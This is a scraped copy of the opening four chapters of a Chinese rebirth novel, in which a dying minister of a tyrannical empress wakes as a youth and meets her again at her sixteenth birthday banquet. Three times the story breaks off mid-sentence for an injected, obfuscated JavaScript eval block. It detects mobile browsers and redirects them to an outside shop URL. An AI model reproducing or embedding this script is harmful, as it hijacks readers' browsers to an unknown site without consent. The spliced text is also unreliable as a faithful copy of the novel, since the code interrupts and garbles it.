《如何将暴君回炉重造》 1. 空折枝 宴安六年,协州大寒,滴水成冰。 景宁峰下畹县城中,朔风卷雪,天地一白。 一只红隼在风雪中盘旋,被骤雪卷得左歪右斜、不住摇摆,不得不降低了飞行高度,在县城上方展翼滑行。 雪幕后隐约现出屋舍的轮廓,鸟儿敛翼落下,停在一处院落中的枯枝上,震落纷纷碎雪。 院中积雪素白厚重,显出长久无人踏足打扫的模样,门扉紧闭,草木衰零,无有生意。 唯独窗下一株红梅开得艳烈,白雪中兀自灼灼,赤火似的招摇着,吹散满庭馥郁的芬芳。 紧闭的窗户被骤起的北风吹开一条缝,室内立刻响起一阵嘶哑的咳喘声。那咳声急促而虚弱,夹杂着尖锐的急喘,听得人肺腑生疼。 小厮三两步冲进房里,正要伸手去关窗,却听榻上人哑声道:“且开着罢。” “寒梅傲雪……也是好景。” 说话的人倚在榻上,目光移向窗边的红梅。他生了张标致的面孔,眉清目秀,鼻梁挺直,一双眼眼尾略微下垂,看人时,显得真挚、温和而无辜。 虞林萧氏次男萧琮萧鸣玉,还未到不惑之年,面上未见皱纹,两鬓却霜发早生。 他脸色惨白,嘴唇灰败,一副病气缠身、无力回天的模样,加之眉目间总沉沉积压着郁色,便显得面相愈加憔悴悲苦,不似早些年间“莹璧公子”风流俊逸、雅正端方的好模样。 半年前,他还是北燕朝堂上无人不敬的萧司空,如今却无人问津地偏居一隅,任由病体在苦寒中日渐消磨。 只因他看上去温和平顺,骨子里却是个顶顶倔的,一纸谏言反反复复往皇帝案上呈,被“再议”了,便往堂前一跪,愣是假装听不懂皇帝不耐烦的言外之意。 皇帝是真的倚重他,却也是真的无法容忍他一而再再而三的忤逆。 第四次把劝谏撤军的奏表呈上,皇帝面无表情,语气平静:“萧司空日夜操劳,顽疾日笃,朕不忍以繁重杂务委之。” “司空不必操心此事了,畹县安宁,民风淳朴,先去把身子养好,再来为我大燕劳心费神不迟。” 皇帝裴应弦那时半拢在阴影中的面孔在脑海中一闪而过,萧鸣玉轻轻叹了口气。 风又紧了,雪倒小了些。 车轮碾过积雪的声音渐近,缓缓停在小院柴扉外。与粼粼车声一并接近的,还有一路清越叮铮的铃声。 萧鸣玉的眉梢极轻地一颤。 斜飞的细雪中,一道深黛色的影子迤迤然穿过院落走来。 来人在那株开得正盛的梅树旁驻足片刻,抬手掀下兜帽,露出一张含笑的脸。 当今圣上裴希裴应弦回过头,冲跟随的侍从笑道:“这寒梅开得不错,且折一枝来,放在我们萧先生房中。” 从她的身影出现在视野里开始,萧鸣玉的喉咙便不住发堵。太多情绪积压在他消瘦的肩膀上,他压着被角的手指轻轻打着颤。 直到此刻,他终于能够重新撬开自己的牙关、挪动自己的舌头:“……莫折。” “呀。” 裴应弦终于抬起眼,看向那扇半掩的窗户。 她一双凤眼生得黑白分明,垂眼看人时尚有半分悯色,此刻隔着疏斜的花枝,掀起眼皮幽幽觑来,那一眼便带些刻薄,凉浸浸地剜在萧鸣玉魂魄上。 “萧先生怎也不关窗,受凉了可如何是好?” 萧鸣玉不要她假惺惺的关心。 二十余年的辅佐共事,足够他了解这位人血里泡出来的霸主。裴应弦越生气,她讲话的声音就越柔软,但凡用这样柔和轻缓的声音说话,便必定要诞生新的刀下亡魂。 难道今天她是来取我性命? 这个念头短暂地在他心中一闪而过,出乎意料地,他没有感到愤怒或恐惧。 一种轻飘飘的悲哀在他心口盘旋了片刻,随即像一声叹息似的在风雪中吹散了。 “陛下。”他要起身,又被裴应弦一个手势压回床榻中。 皇帝也不进屋,隔着一扇窗、一树梅与他对话:“萧先生身子如何了?” “陛下仍未自灵谷道撤军么?” 她要寒暄,萧鸣玉偏不如她的意。 他再次提起裴应弦最不愿与他谈的话题,以一种前所未有的直白的言辞:“今冬大寒,灵谷道积雪没胫,如何行军?拖延下去,也只会白白蒙受更大的损失。况毓关存粮——” “萧先生。”裴应弦冷淡地打断他,“先生已不是大燕司空了,不必为此劳心。——况且,哪怕先生仍任司空,行军之事,也不在先生的职责范围之内,不是吗?” 萧鸣玉俯身咳了一阵,闷声道:“太尉空置,另两司本就该——” “别费心了,孤已任了颜蓁做太尉。” “陛下!万望陛下三思——颜木生她、咳、咳咳……”萧鸣玉呛了一口冷风,登时咳得天昏地暗,一句话也说不出了。 裴应弦冷眼看着他咳,直到他终于倒过一口气,才重新把声音放得柔和:“好了,萧先生,我知道你生我的气。可是我也生你的气啊,是你做得太过了。” “你是我最知心的男官,怎么能当着那么多朝臣的面让我下不来台呢?” “但是我们感情深厚,我不会真的怪你的。你服个软,向我认个错,然后今天就跟我回去吧,好不好?” “等回了澧阳,你还做你光风霁月的萧司空,继续为我治棠水、修醴泉坝,我再许你入朝不趋,在澧阳城为你另建一处庄子,如何?” 萧鸣玉听得想笑。 事到如今,裴应弦居然还以为他会在乎这些东西——他从十九开始辅佐她,二十年焚膏继晷地为她打点一切,助她据有半壁天下,为的难道是她赏赐的金银财宝、绫罗绸缎、万贯家私? 她拿这些来做筹码,简直是在往他萧琮、往她们虞林萧氏的脸上扇巴掌! 他的眼睛冷下来,目光从裴应弦挂在脸上的那张关切、柔软的面具上移开,盯着膝头布衾道:“谢陛下赏识,恕琮不敢受。” “先生莫和我闹脾气了。”皇帝遭了拒绝,也不恼,笑吟吟拨开花枝,倚在了他窗前。 “杀了梁楠,是我不对,我已反思了。” 梁楠…… 萧鸣玉牙关微微打颤。 御史中丞梁楠血溅玉阶的场面噩梦般重新浮现在眼前,惊叫与混乱中,他僵硬地抬起头,看到裴应弦提着沾满血的长刀站在梁楠未瞑目的尸首前。注意到他的目光,皇帝居高临下地对他笑了一下,溅在嘴角那一点血便随着她的动作往下滑,在裴应弦光洁冷白的下巴上留下一道腥气四溢的红痕。 朝堂上拔刀杀人,简直…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999069|193937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简直…… 他又想吐了。 “陛下……陛下何错之有。”他闭上眼,自语般喃喃。 “有,当然有。”裴应弦含笑的嗓音更近了,她把双肘支在窗沿,托着下巴,轻快地回答,“梁楠说孤的皇位来得名不正言不顺,现下既然失踪的赵王世子已找到,便该还位于她。” “仔细想想,这可是谋逆的大罪,怎么能只杀他一人便了结呢?” ……什么? 萧鸣玉如坠冰窟。他僵住了,巨大的惊悚与绝望生出蜘蛛一般的足,沿着他的后脊往上爬,留下一路无法控制的战栗。他的五脏在绞紧,耳中灌满尖锐的鸣叫,鼻子发酸,喉头酸苦,几欲呕吐。 裴应弦对他的颤抖视而不见,继续笑道:“所以,孤诛了梁氏全族。” “枭首示众,在澧阳城头挂了足足七日呢。” “萧先生,孤的朝中本就只有五位男官,你因病卸任,梁楠又谋逆伏诛,现下可就只有三位了。” 裴应弦佯装苦恼,趴在窗沿上说:“先生还是快些回来吧,好不好?” 萧鸣玉根本听不清她在说什么,只觉一道热泪沿着鼻梁淌下来,整个人弓起身子伏在被面上,从喉管里呛出一声沙哑的惨呼。 耳朵里嗡嗡作响,天旋地转中,萧鸣玉揪着掌下布料,用力将额头压在手背上。他边哭边咳,嘴里满是血味,说不清是肺腑里呛出还是咬破了舌头,冷气在胸腔里打转儿,逼出更多的咳呛,他咳得眼前发黑,几乎要失去意识。 回过神时,窗子已关上了,裴应弦坐在他榻边,抬手递来一只盛着温水的碗。 “唉,看来先生的病还是严重,恐怕无法……” “裴希!” 萧鸣玉一把挥开她的手,碗当啷落在地上,水泼洒而出,弄湿了皇帝的袖摆。 他双唇颤抖,声音嘶哑,目眦欲裂:“你要效仿桀纣之事吗?!” “杀降、拒谏、屠城、夷族——你还想干什么?你还要杀多少人?!” “早知今日,我就该——我就该——” “转投段泽?辅佐岑浩?闭门不仕?”裴应弦挑起眉毛,“可惜现在都晚了。” 皇帝站起身,随手抚平被打湿的衣袖,转头吩咐道:“萧先生不肯跟孤回去,那便算了。” “照顾好他,孤回头让太医来一趟。” 走之前,她在院中驻足,回手折下一枝红梅,递给萧鸣玉的小厮:“梅花开得真好,找个花瓶插着吧。” 皇帝的车驾走远了,铃声叮叮当当,还在纷飞的大雪中回荡。 小厮捧着花枝回到屋里,见萧鸣玉弓着背在咳嗽,捂嘴的指缝中沥出刺目的血色。 看到那枝梅花,他忽然笑起来,脸上挂着泪痕,嘴角蹭开血迹,笑得狼狈又苍凉:“陛下,裴应弦……好!你要折花……那便折!哈哈哈……有花堪折直须折,莫待无花空……咳咳,空折枝……” 他一辈子都不曾这样大笑过。 宴安六年冬,“莹璧公子”萧琮萧鸣玉病逝于协州畹县,时年三十九岁。 帝感念其德,谥曰“忠侯”。 朝中对皇帝这意味深长的谥号选择议论纷纷。 而景宁峰下,一抔瘦雪,千般猜度、万种风流一并掩去。 天地阒寂,万籁无声。 2. 花有重开日(一) 萧鸣玉在强烈的眩晕中醒来。 意识缓慢收拢,他感到自己似乎是躺在一处温暖柔软的榻上,额角隐隐作痛,鼻端萦绕着一股极熟悉的淡香。 耳边有人压低声音在说话:“……偏要去什么庙会……受了寒,明晚高亭郡主家的大娘子生辰宴……如何是好?” 他还没能理清思绪,眉头已先皱了起来。 高亭郡主?生辰宴?这是在说什么胡话,脑袋不想要了么? 高亭郡主岑津丰乃是前朝明帝的亲兄长,当今圣上裴应弦的生父。 只是,在裴应弦已称帝近七年的今日,用“高亭郡主家的大娘子”来称呼她,说话的人怕是真有点儿活腻了。 萧鸣玉勉强掀起眼皮,偏头看向出声的人。 这一看之下,他险些失声惊呼:站在床榻边上压低声音训话的,是他那惊才绝艳的大姐萧鸣鸾;而臊眉耷眼、垂头丧气站在墙根挨训的,居然是他早逝的三弟萧鸣枢! 这怎么可能呢? 且不说大姐应当还在熙州前线随军出征,三弟……可是已经过世近二十年了! 脊背上惊出密密的热汗,萧鸣玉头更晕了。 这时他才注意到,她们此刻置身的卧房,并非畹县城中那处简陋的小院。此地宽敞、整洁、陈设雅致,看上去更像……虞林萧氏祖宅中,属于他萧鸣玉的那间屋子。 他还在愣怔,旁边挨训的萧鸣枢已经先叫唤着扑了过来:“二哥!大姐快别忙着骂我了,二哥醒了!” 萧鸣枢操着一把变声没变好的公鸭嗓嘎嘎乱叫,叫得萧鸣玉脑壳子嗡嗡直响,简直要两眼一闭重新晕过去。 萧鸣玉在三弟的搀扶下勉强撑起身子,习惯性地轻咳一声,低声问道:“……怎么回事?” 他本没指望得到什么回答,毕竟这一切都相当莫名其妙,但萧鸣枢似乎生怕给了大姐开口的机会便要再挨上一顿训斥,争着抢着解释道:“不是我捅出去的,是大姐今日正好从澧阳回来,她自己撞见的——” “萧鸣枢,十遍《曲礼》还是太少了,是不是?”站在一旁的女子冷冷道。 听见十遍《曲礼》,萧鸣枢顿时也顾不上病榻上的二哥了,噌地跳起来,同手同脚便往门外窜去:“我错了!大姐,我真的知错了,我现在就去抄!” 他风风火火地跑了出去,这房间里倒是清静多了。萧鸣玉扶着抽痛的脑袋在床榻上坐了一会儿,依稀猜到了这一切是怎么回事。 虽然听上去十足荒谬,但他可能真的,回到了少年时代。 ——大宪未灭,家族未衰,三弟仍在,裴应弦还没有出现在他生命中的,少年时代。 萧鸣玉低头看着自己的手。左手掌心干干净净,是属于虞林萧氏二公子的不事劳作、修长光洁的手,掌心没有横亘着那道狰狞的疤。 而从醒来到现在,肺腑中也没有生出任何翻涌着要从喉头冲出的带着病气的咳意。 他的躯体年轻康健,生意盎然。 ……与他那悲哀、疲倦而衰朽的魂魄多么不相配! “鸣玉,你身子如何了?”长姐的声音打断萧鸣玉胸中涌动的慨叹。 与这个温和知礼、儒雅端方的二弟说话,萧鸣鸾的语气和缓了不少。她在床榻边坐下,关切地看看二弟难看的脸色,宽慰道:“不必忧虑高亭郡主府上晚宴的事,你若不适,明晚便留在家中休息,我自会向余人解释。” “……不是这个……”萧鸣玉怔怔地盯着长姐年轻的面孔。 上次见到萧鸣鸾,她一身药味夹杂着血气,眉心一道深深的竖纹,悬垂着恒久的忧虑。那时她持着皇帝的符节,以特使的身份自澧阳南下督军,路过萧鸣玉所在之处,只与他短暂地见了一面。 沉默填充了她们相对而坐的大多数时间:朝中事不敢言,家族事不忍言,天下事不堪言。 唯有静默,长久地、长久地盘踞着,把这对血亲姐弟分隔得很远很远。 “不是这个?你说鸣枢?”萧鸣鸾叹了口气,无可奈何地按按眉心。 “我是管不了他了,等母亲回来亲自管教吧。当初就不该把他送去大舅家里,现下成了什么样子了……唉。” “无事,你先休息吧,我去看着他抄书……谁知道又会搞出什么幺蛾子来。” 房门闭合,脚步声在廊下远了。萧鸣玉深深吸了口气,又缓缓吐出来。 他记得这天——三弟萧鸣枢非要扯着他去庙会,冬日天寒,他吹风受了凉,烧了一夜,三弟则被罚抄了十遍《曲礼》。 第二日是十一月十四,裴应弦的十六生辰,高亭郡主府上大宴,萧氏前去庆贺。 这是金正四年的冬天,萧鸣玉十七岁。 离明帝岑瑛驾崩、天下大乱,仅仅只剩下三个月。 离高亭郡主独女裴希随微州刺史薛令仪起义兵入澧阳平乱,还有八个月。 离裴应弦称帝,建立北燕,还有十五年。 而,离萧鸣玉第一次见到裴应弦,还有……不到二十四个时辰。 裴应弦似笑非笑的脸在他的眼前闪过,他的肺腑立刻揪痛起来。 那双冷酷的、笑盈盈的、黑白分明的凤眼看着他,他又听见裴应弦的声音,柔软而轻缓,在他魂魄上落成一道无法挣脱的恶诅: “孤诛了梁氏全族。” “枭首示众,在澧阳城头挂了足足七日呢。” “孤记得奉常大人喜欢竹子,那便带着家人迁居熙州前线如何?孤听说,那边的翠竹生得最是好。” “是孤说得不够明白么?奉常赵永,举族充军。” “降卒三千?” “斩了吧。” “上泽境内,凡见蚩羯人,杀无赦。” 血从黑暗中漫出来,成千上万的亡魂在惨嚎,用朽烂成枯骨的手去扯裴应弦身上的龙袍。皇帝亮出了她的长刀,那冷银色的锋刃森寒地一闪,连逝者亦不能幸免地在刀下灰飞烟灭。 幻觉里的裴应弦脸上笑意盈盈,趟着血河走向萧鸣玉,舒展眉头,对他微笑:萧先生,多谢你助我大业。 于是那些亡魂转向萧鸣玉,用含着血的嗓子哭嚎:刽子手的帮凶!窃国贼的走狗!萧鸣玉,你也是罪人!虞林萧氏百年基业,万古清名,全都毁在你的手上! 萧琮,你也该死!看看吧,你辅佐出了好一个暴君啊! 萧鸣玉的头剧烈地痛起来。他恨裴应弦,恨她嚣张、恣睢、虚伪、翻脸如翻书,恨她手染鲜血、杀人如麻、视人命如草芥,恨她不敬先贤、恣意妄为、朝令夕改,恨她……明明总是唤他“先生”,却从不肯听他的劝谏,从不肯正眼看他字字泣血的奏表。 他一点一点躺回去,用力喘息着,想让想象中的裴应弦消失,女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999070|193937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的身影却走得愈发近,甚至伸出双手握住了他的手。 裴应弦背后的血河消散了,她站在一片摇曳的树影中,握着他的手,笑得眼睛发亮:“萧先生愿来投我,希真是喜不自胜。” “有先生相助,我定能还天下一片清平!” ——那就是一切错误、罪恶、苦痛和煎熬的渊薮。 选择辅佐裴应弦,是萧鸣玉前生歧路的起点。 重来一遭,他怎么能重蹈覆辙。 萧鸣玉躺在床上,目光空空地落在帐幔上。心脏缓慢而坚定地敲击着胸骨,血流声寂然淹没耳朵。他想:这一次……我要离她远远的。 我要去澧阳辅佐皇长女晋王,如若晋王又病痛缠身,我便护着二皇女赵王,让她不至于在乱军中下落不明。如果都失败了,我便去南方,投在段泽麾下,助她的段府兵踏平北方大地——把裴应弦的大燕扼死在萌芽之时。 我绝不能容忍她再次滥杀无辜、由着性子东征西讨,我绝不能再次容忍她踩着黎民百姓与世家清流的白骨走上高位,生杀予夺、暴虐恣睢,落得个窃国贼、刽子手的恶名。 萧鸣玉越想越坚定。他不愿再做暴君的帮凶与走狗,他的出身与志向不允许他这么做。虞林萧氏,百年忠臣,他该是大宪的砥柱中流,为何偏偏让自己和家族做了裴应弦登高的天梯? 可是一眨眼,裴应弦的声音又不依不饶地在他耳边盘旋:皇姑母病故时我便知晓,皇长女浩气虚体弱、优柔寡断,皇次女渺偏听偏信、自作聪明,萧先生,她们谁也主不了这天下。 ……纵使她们当真主不了这天下,你裴希却也不该横刀夺过! 明日……我不会去高亭郡主府上。 我绝不会再见裴应弦,哪怕…… 发热让他在棉被中闷出了满身的汗,散开的长发黏在后颈处,刺痒。 昏沉的睡意潮水一般漫上来,把萧鸣玉挣扎的神魂浸没其中。他很快在病中昏睡过去。 梦境犹自不肯放过他,许多纷乱的片段拼接成光怪陆离的幻景,他头晕目眩地在其中跋涉,看到被大火吞噬的祖宅、三弟萧鸣枢的坟茔,看到大军过境时蔽日遮天的旌旗、大战过后枯骨如杵的土地,看到轰然坍塌的前朝宫阙、冉冉升起的“裴”字大旗,看到裴应弦沾着血的脸。 他梦见裴应弦提着刀面无表情地大步走进朝堂,衣角一路滴血,蜿蜒成殷色的缎带。梦里,裴应弦手起刀落,金殿中那些斥骂她狼子野心的前朝忠臣们的头颅便滚落了满地。 怒意灼烧他的肺腑,他冲上去要制止,手却穿过裴应弦的身体。 恍惚中他意识到:他已经死了,裴应弦看不见他、听不见他,他做什么都是徒劳了。 梦里的裴应弦站在遍地尸骸中回过头,额前十二旒叮铮摇晃,碰撞出一片腥甜的险恶。 她陡然一笑,笑容森寒:萧先生,你看,你再也不能阻止我杀人了。 萧鸣玉猝然自梦中惊醒,大汗淋漓,喘息不止。 他抬手探了探额头,触手的肌肤不再滚烫,只有一片冰凉粘腻的汗水。浸湿的里衣在寒冬的深夜冷得令人颤抖,他却浑然不觉般兀自出了神。 ——要让狼不再行恶,远离它只是掩耳盗铃。在看不见的地方,狼会咬死更多无辜的羊。 要么把狼关进笼子,要么就…… 杀了它。 3. 花有重开日(二) 裴应弦扒在墙头,飞快地探头看了一眼,立刻又缩回墙后。 她身边,大司农家的次女申晚照袖手倚墙站着,见她又落回来,眼睛颇促狭地一挤:“怎么不进去?不是说要来不及了?” 墙里飘过一阵急匆匆的脚步声,伴着侍从焦急的交谈:“大娘子怎还不回来?晚宴就快要开始了,家主和郡主大人都催得紧呢!” 裴应弦嘴角往下一撇,想踹她,抬起腿又收回来,只悻悻道:“少幸灾乐祸。” 她和申晚照自小一起长大,不能更熟,斗嘴动手都是家常便饭。不过申大司农家祖传的小身板儿让她动起手来跟欺负申晚照似的,因此,立身取字后裴应弦便不再动手,只占口头便宜。 她们刚溜出虞林城外,在郊野上跑了一下午的马。 平野广阔、暮云低垂,两人跑得身与魂都野了,见远处屋舍燃起炊烟,才意识到野得过了头,晚宴要迟到。 后院里全是奔走寻找的仆从,要不引人注意地溜回房间,恐怕比登天还难。裴应弦看了看渐暗的天色,扯着申晚照往侧门走去。 没走几步,一架垂帘马车停在她们身边,里面传来一声无可奈何的叹息:“暮儿……” 申晚照一个激灵正抬腿要跑,被裴应弦一把扯住,毫不留情地整个儿塞上了车:“景晨姊来啦!去陪陪你阿姐吧晚照,我们回头宴上见!” 说完,她脚下生风,飞也似的钻进了侧门外的窄巷,把好友的死活抛在了脑后。 反正野了一下午已经赚到,申晚照挨长姐的骂也是早晚的事,那晚挨不如早挨,反正别牵连她裴应弦! 得意的裴大娘子甩甩衣袖,脚步轻快地往侧门走去。 冬日本就黑得早,这几日天又阴得厉害,空气里总酝酿着昏昏雪意。此刻酉时已过,天色墨黑,高亭郡主府上灯火通明,正门外车马喧阗,隔着高墙也听得见纷杂的人声与乐声。 侧门出入少,只檐下挂两盏风灯,摇晃着,在青石台阶上洒落一片昏黄。 走近了,裴应弦才注意到,侧门外的墙边竟还有一道人影。 她狐疑地停下步子,眯起眼看了片刻,发现那人也不进府里,只是在窄巷中沿着高墙来来回回地踱步。 干什么呢,偷儿踩点? 裴应弦皱起眉毛,在心里暗暗啧了一声,拿不定主意要不要去叫卫士来。 不,等等,叫什么卫士? ——这分明是天赐的良机啊!她把人拿下押回府里去,为何来迟不就有了完美的藉口么?“护卫府邸、捉拿贼人”,别说宾客们挑不出错,连娘也得捏着鼻子夸她两句! 说干就干。裴应弦调整呼吸,后退一步贴在墙上,壁画似的一动不动。 她整个人都藏在灯光照不到的暗处,对面的人浑然未觉,踱到风灯照亮范围的边缘,幽幽叹了口气,又转身要往回走。 就在这一刹,裴应弦猛地蹬地扑出。 那人只觉背后一声轻响,还未来得及回头,已被裴应弦一手扣住双腕、一手压着后颈按在了墙边。 来人额头重重磕在墙上,发出咚的一声闷响,听得裴应弦的脑袋也跟着疼起来。她抽了口气,摆出威严的语气问道:“你是什么人?在郡主府外形容鬼祟,意欲何为?” 她掌下的那截脖颈陡然僵住了。 裴应弦正要再逼问,却听一道声音颤声道:“裴应弦……?” 男子? 裴应弦一怔,手上略微一松,那人立时转过头来。 被她当做偷儿按在墙边的男子面如冠玉,生得一副温雅清润的好面孔,鼻梁挺直,眉峰柔和,一双眼尾微垂的漂亮眸子半掩在颤动的睫羽之后,端的是公子世无双——如果不算他脑门儿上那块渐渐浮现的红印的话。 长这么好看,为什么要来当小偷啊? 呃,他好像还认识我。 裴应弦松开手后退一步,掀起眼皮问道:“你认得我?你是?” 那张脸上登时掠过一片阴云似的复杂情绪:“……在下虞林萧氏萧琮,萧鸣玉。” 风灯昏黄的光斜斜落在他身上,萧琮的脸一半浸在黑暗中。 他一双眼一瞬不瞬地盯着裴应弦的面孔,许多裴应弦叫不上名字的情绪在他眼中浮沉起落,两瓣淡色的嘴唇微微打着颤,眉间浮漾开一种似哭似笑、既慕且怨的哀愁。 就好像……他渴望见到裴应弦,已经渴望了三百年。 又仿佛,他已经就这样注视了裴应弦三百年。 我们……见过么? 饶是裴应弦,被这样的眼神一盯,也不由得迟疑了。 只是片刻的愣怔,萧琮面上已经挂起一副温和平顺的表情:“琮行迹不妥,引发误会。多有得罪,还请裴大娘子恕罪。” 裴应弦缓慢地眨了眨眼,才反应过来面前男子在说什么。 她尴尬地摸了摸鼻尖,心想完了闯祸了,面上强作镇定地笑道:“是我莽撞行动,合该我给萧公子赔礼道歉才是。” 用套话拖着时间,裴应弦开始在记忆里疯狂寻找:萧琮?萧琮是哪位啊,我对你们这些世家名流完全不熟啊!而且你们一个家族几十号人,我上哪都记住去? 等等,他的字是鸣玉?裴应弦从记忆里抓住一个模糊的名号,忙问道:“敢问公子,‘青凤君’萧鸣鸾……” “正是家姐。” 哦,萧氏二公子!裴应弦在心里猛拍大腿。 她面上立时摆出亲亲热热的笑,语气也轻快起来:“原来是萧二公子。二公子肯赏脸来我的生辰宴,希真是喜不自胜。哎呀,怎么也不进府里去?今夜阿娘特意命人自棠阴带了甘棠酒回来,二公子可一定要尝尝。这甘棠酒可是棠阴一绝,据说取棠水最洌的一支流酿造……” 裴应弦先是快嘴快舌地介绍起甘棠酒,很快又转而说起今夜请来的著名乐师。 她口齿伶俐,语速又快,根本没给萧鸣玉任何插嘴的机会—— 必须得找点什么话题,让这位萧二公子忘了刚刚的事。 毕竟,把世家公子认作小偷,还把人的俊脸狠狠按在了墙上,要是被她亲娘知道了,她能被从正门一路抽到后院里! 说话间,两人已经走到了窄巷尽头。 出了窄巷走上大路,周围豁然亮起来。车声、马嘶、人语,郡主府里飘来的乐声,此起彼伏地搅在一起,裴应弦不得不稍微提高了点声音,确保对方能听见自己说话:“这边走,二公子!” 她伸手做引路状,对方忙也伸手请她,裴应弦瞥一眼萧鸣玉,心下微微一动。 萧二公子伸出右手让她,动作一大,广袖晃开,手掌便露在灯下。 尽管只有一瞬,裴应弦还是看清了:那光洁的掌心上,赫然印着四枚弯弯的、月牙般的指甲印。 印痕深深嵌在皮肤上,整体呈现出充血的暗红,最深处已泛起瘀紫,像是用了极大的力气、紧紧掐了很长的时间。 裴应弦假装没看到,不动声色地带人继续往府里走去,转身时在袖中暗暗比划,很快意识到,会造成那样的掐痕,萧琮应该是刚刚一直非常、非常用力地握着拳头,以至于在自己掌心留下这样深的指甲印。 这萧二公子干什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999071|193937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢? 她一边笑盈盈地和路上遇到的宾客见礼,一边在心里暗自稀奇:难道是见面时擒拿那一下,把这位端方如玉的公子哥激怒了? ……他一直握着拳,难道是想给我脸上来一下? 别说,还真有可能。裴应弦越想越警惕,但看看对方的身板,又深觉如果当真动手,自己断没有输的可能。 ……等下,他既不质问我为什么那么干,也没说要原谅我,难道是要等会儿见到阿娘阿爹再告我一状? 裴应弦心里一凛,忙抬头扫视,见她亲娘正忙着与客人寒暄,爹不见踪影,应当在堂上待客,这才稍稍松了口气。 应当不至于,虞林萧氏家风清正,在整个大宪朝堂上都享有美誉,萧鸣玉作为现任家主的亲子,断不会做出此等有损家族声誉之举…… ……吧? 裴栩正站在府前迎客,刚与一位朝中重臣家眷寒暄完,转头看见裴应弦姗姗来迟,眉毛登时挑了起来。 裴应弦挨揍挨出了肌肉记忆,看见她亲娘这样挑眉毛就脚下发虚几欲先走,下意识退了一步,碰到身后人的手臂,这才想起自己还带了个人来。 她急忙让开一步,赶在裴栩开口之前抢话介绍道:“阿娘,这位是萧氏二公子,‘青凤君’萧鸣鸾的二弟,萧琮,萧鸣玉。” 她这么把萧鸣玉往前一让,裴栩也不好当着外人的面再骂她,只好不轻不重瞪了女儿一眼,叫她快去堂上,自己和萧鸣玉寒暄起来。 裴应弦逃过一劫,飞也似的溜进花厅里,不理会高位上郡主的眼神示意,把自己扔进了申晚照旁边的位置里。 申晚照刚挨了姐姐一顿柔声细语却字字诛心的教育,此刻看裴应弦坐过来,鼻子不是鼻子眼不是眼地哼了一声,起身就要走。 “晚照,”裴应弦一把抓住她的胳膊,半强迫地把她按回位置里,“灵犀,好灵犀,还生我气呢?” 申晚照在桌下踹了她一脚:“说一万次了,别叫我小名。松开!” “你也可以叫我小名啊,你叫我妙音,我绝不生气。”裴应弦从不吃哑巴亏,被踹了必不能就此罢休,抬手就往申晚照嘴里塞了一只蜜饯。 申大司农家的次女近来屡犯牙痛,蜜饯一入口,立刻也顾不得朋友犯浑了,面目扭曲地捂着腮帮子就开始到处找水。 和好友闹腾一会儿,宾客也大多都落了座。萧氏的坐席离裴应弦不算太远,姐弟两人正和同为世家大族的胡氏小辈交谈。 萧鸣玉脑门儿上那一块红印子这会儿已经开始有些发青,顶在他白皙的面庞上实在明显,又滑稽得过分。裴应弦看得提心吊胆,总担心他气不过去裴栩那里告自己黑状,又或者因伤得实在显眼遭人询问,目光便时不时移向对方坐席。 她看得久了,旁边的申晚照先觉出不对来,也探着脑袋顺着她的目光往那边瞅:“你看什么呢?萧凤和萧琮?……裴应弦,你不会看上萧鸣玉了吧?” 这说的什么胡话。裴应弦懒得理会好友这张吐不出象牙的嘴,眼皮一掀翻了她一眼,不答。 申晚照便又露出牙疼的表情:“想也是。萧氏那种清流,养出来的男儿保准也是木头似的无趣,满口仁义礼智、之乎者也的,我们裴大娘子怎么会看得上,还是……” 她话还没说完,就见裴应弦噌的站了起来。 “你干嘛去?”申晚照被她吓了一跳。 裴应弦没应声,端着酒杯绕过她往萧氏两人的方向走去,停在了萧鸣玉面前。 申晚照见了鬼似的停下筷子,不可置信地喃喃:“……难道还真看上了?” 4. 花有重开日(三) 一片淡淡的影子投在面前的席上。在温酒的醇香与菜肴的热气之外,一股熟悉的冷香自头顶笼罩下来,如一片沉降的雾,把萧鸣玉裹卷进潮湿冰冷的旧事。 那片滚着银边的深青色衣摆晃进他的视野,萧鸣玉喉头发堵、脊背生寒。他下意识又在袖摆的遮挡下握紧了拳头,指甲压进掌心瘀紫肿胀的伤痕中,掐出一阵尖锐的刺痛。 疼痛中,他劝告自己不要抬头。 在分歧与争执、冷落与失望之后,在鲜血、枯骨甚至是无可逆转的死亡之后,他要如何再去注视十五岁的裴应弦一无所有、黑白分明的眼睛? 反正她也并不是来寻我。萧鸣玉把头埋得更低。 前世第一次见面的情形自无数蒙尘的旧事中浮起,那时,裴应弦也是像现在这样,在所有人的注目中穿过喧闹的宾客,端着酒杯停在他的席前。 